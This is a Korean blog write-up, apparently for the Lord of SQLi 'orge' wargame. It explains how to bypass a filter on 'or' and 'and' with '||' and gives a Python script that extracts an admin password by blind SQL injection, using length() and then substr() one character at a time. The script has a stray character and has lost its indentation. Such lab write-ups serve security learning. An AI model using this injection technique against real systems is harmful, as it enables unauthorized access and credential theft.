문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.
# los_orge.py
import requests
import re
headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'
pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)
# pw 길이 알아내기
while True:
pw_len += 1
payload = "?pw=' || length(pw)='" +str(pw_len)
r = requests.get(url+payload, headers = headers)0
if(re.findall('Hello admin', r.text)):
break
print('password length : ' +str(pw_len))
# 정확한 값 알아내기
for i in range(1, pw_len+1):
for j in range(len(tryList)+1):
payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
r = requests.get(url+payload, headers=headers)
print(payload)
if re.findall('Hello admin', r.text):
print(tryList[j])
pw += str(tryList[j])
break
print('password : '+pw)
코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.
'Security & Hacking > Wargame' 카테고리의 다른 글
[LoS] vampire (0) | 2020.11.10 |
---|---|
[LoS] troll (0) | 2020.11.06 |
[LoS] darkelf (0) | 2020.11.03 |
[LoS] goblin (0) | 2020.11.03 |
[LoS] orc (0) | 2019.11.29 |